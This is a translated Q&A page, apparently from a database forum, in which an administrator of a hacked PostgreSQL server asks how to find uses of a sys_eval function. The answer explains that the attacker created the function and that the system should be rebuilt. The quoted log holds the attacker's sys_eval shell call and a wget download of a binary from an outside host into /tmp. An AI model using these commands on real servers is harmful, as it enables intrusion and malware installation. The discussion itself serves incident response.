Security

PostgreSQL:如何查找使用 sys_eval 的函式

  • January 24, 2018

我的伺服器被黑了,我在 postgres 日誌中發現了這個

2017-12-19 06:30:16 COT STATEMENT:  select sys_eval('pgrep baou87r1D9;pgrep 9rMhx24;pgrep Ps1fnYF3;pgrep P15xAw4;pgrep 8yV192n7;pgrep ktU5R693w2;pgrep VW5Ngjl;pgrep gwcaMW7;pgrep pvN195X8A;pgrep H80p3ao14Z;pgrep 6gBLwWlMrS;pgrep 78HgGw0L3;pgrep 5qKiw4e7gQ;pgrep iW35uqB60;pgrep qik7btShxK;pgrep xCi4Zze52;pgrep O0ajdnot;pgrep 6zmYcK1r;pgrep Hgb1hjvz;pgrep 38qz9Ivr;pgrep 0k693Runi;pgrep ax6fYNV;pgrep g3v50S64f7;pgrep 8y7kV496;pgrep 60m4qwFA;pgrep 0bs45q3k;pgrep 2R3e4g5l;pgrep 0a546q2T;pgrep c12yZ0v;pgrep KEq6m2kV5;');
--2017-12-19 06:31:09--  http://qwer.world/kw0rker

Resolviendo qwer.world... 138.197.116.216
Connecting to qwer.world|138.197.116.216|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1643240 (1.6M) [application/octet-stream]
Saving to: `/tmp/x0597078a'

    0K .......... .......... .......... .......... ..........  3%  397K 4s
   50K .......... .......... .......... .......... ..........  6%  793K 3s
  100K .......... .......... .......... .......... ..........  9%  794K 2s
  150K .......... .......... .......... .......... .......... 12% 59.9M 2s
  200K .......... .......... .......... .......... .......... 15%  800K 2s
  250K .......... .......... .......... .......... .......... 18% 83.3M 1s
  300K .......... .......... .......... .......... .......... 21%  807K 1s
  350K .......... .......... .......... .......... .......... 24% 84.6M 1s
  400K .......... .......... .......... .......... .......... 28% 7.91M 1s

我刪除了 tmp 中的文件,停止了一個未知的 postgres 程序,並更改了數據庫使用者的防火牆規則、pg_hba conf 和密碼。

我不知道惡意程式碼是否仍然存在,我需要重新安裝我的 postgres 安裝。我的計劃是搜尋該功能並嘗試防止將來出現問題,但我找到的文件sys_eval非常有限。

如何找到sys_eval現有程式碼中使用的位置?

您無法找到sys_eval我們現有程式碼中使用的位置,因為此功能在乾淨的系統上不存在(除非您已經竭盡全力製作它)所以您的程式碼沒有理由使用它(當然除非您的程式碼庫也被黑客入侵並插入了東西)。該函式是黑客創建的,作為入侵數據庫的步驟之一。黑客可以隨意稱呼它。他可能在這里或類似的地方得到了程式碼,然後懶得混淆名稱。

如果您正在尋找它在中毒系統上的位置,請查看pg_proc. 但是這個系統需要從軌道上用核武器發射,所以看起來可能沒有意義。您將(在您乾淨的系統上)對 pg_hba、防火牆和數據庫使用者(包括數據庫超級使用者,這是發生黑客攻擊的地方,而不僅僅是普通使用者)所做的更改應該可以防止他們利用新系統,但是無法知道舊版本中安裝了多少木馬和後門。

引用自:https://dba.stackexchange.com/questions/194665